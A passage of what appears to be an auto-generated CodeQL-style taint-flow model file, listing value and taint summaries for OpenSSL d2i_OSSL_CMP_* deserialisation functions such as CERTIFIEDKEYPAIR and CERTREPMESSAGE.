"(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CAKEYUPDANNCONTENT", "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTIFIEDKEYPAIR", "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTORENCCERT", "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREPMESSAGE", "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTREQTEMPLATE", "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_CERTRESPONSE", "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", 